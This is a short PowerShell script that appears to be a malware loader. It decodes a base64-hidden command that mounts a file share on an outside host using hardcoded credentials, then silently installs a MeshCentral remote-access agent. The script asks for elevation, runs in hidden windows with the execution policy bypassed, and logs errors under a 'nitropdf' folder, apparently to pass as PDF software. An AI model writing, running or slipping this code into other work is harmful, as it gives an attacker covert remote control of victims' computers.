$b64 = "JABjAHIAZQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUABTAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAAiAHUAYgB1AG4AdAB1AHUAIgAsACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAAIgBQAHIAOQBMAEkAbwBFAEwAOABaADMAdQB4AFkAbQBLAG0AVwAyAG0ANgA1AHEAeABXADQAMwBRAE8ASQBQADAAWABpAHEAeQAxAHYAUQAwAHkAZABBAEoAbwBnADcAagB4AG0AaABSACIAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAKQAKAE4AZQB3AC0AUABTAEQAcgBpAHYAZQAgAC0ATgBhAG0AZQAgAFgAIAAtAFAAUwBQAHIAbwB2AGkAZABlAHIAIABGAGkAbABlAFMAeQBzAHQAZQBtACAALQBSAG8AbwB0ACAAIgBcAFwAdQBuAGkAdAAuAGEAcgBpAG8AbgAuAG0AeQAuAGkAZABcAG0AZQBzAGgAYQBnAGUAbgB0ACIAIAAtAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAAkAGMAcgBlAGQAIAAtAFMAYwBvAHAAZQAgAEcAbABvAGIAYQBsACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGUAcwBoAEMAZQBuAHQAcgBhAGwAIgApACkAIAB7ACAAbQBrAGQAaQByACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGUAcwBoAEMAZQBuAHQAcgBhAGwAIgAgAHwAIABPAHUAdAAtAE4AdQBsAGwAIAB9AAoAQwBvAHAAeQAtAEkAdABlAG0AIAAiAFgAOgBcAG0AZQBzAGgAYQBnAGUAbgB0ADYANAAtAFcAbwByAGsALgBlAHgAZQAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGUAcwBoAEMAZQBuAHQAcgBhAGwAXABtAGUAcwBoAGEAZwBlAG4AdAA2ADQALQBXAG8AcgBrAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlAAoAUgBlAG0AbwB2AGUALQBQAFMARAByAGkAdgBlACAAWAAgAC0ARgBvAHIAYwBlAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AZQBzAGgAQwBlAG4AdAByAGEAbABcAG0AZQBzAGgAYQBnAGUAbgB0ADYANAAtAFcAbwByAGsALgBlAHgAZQAiACAAIgAtAGYAdQBsAGwAaQBuAHMAdABhAGwAbAAiACAALQBXAGEAaQB0AAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGUAcwBoAEMAZQBuAHQAcgBhAGwAXABtAGUAcwBoAGEAZwBlAG4AdAA2ADQALQBXAG8AcgBrAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE0AZQBzAGgAQwBlAG4AdAByAGEAbABcAE0AZQBzAGgAQQBnAGUAbgB0AC4AZQB4AGUAIgApACAAewAgACIAUwBVAEMAQwBFAFMAUwAiACAAfQAgAGUAbABzAGUAIAB7ACAAIgBGAEEASQBMAEUARAAiACAAfQA="

$isAdmin = (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
    Start-Process "powershell.exe" `
        -ArgumentList "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $b64" `
        -Verb RunAs `
        -WindowStyle Hidden `
        -PassThru | Out-Null
    exit 0
}
try {
    Start-Process "powershell.exe" `
        -ArgumentList "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $b64" `
        -WindowStyle Hidden `
        -PassThru | Out-Null
}
catch {
    Add-Content "C:\ProgramData\nitropdf\loader_error.log" "$(Get-Date): $($_.Exception.Message)" -ErrorAction SilentlyContinue
}
exit 0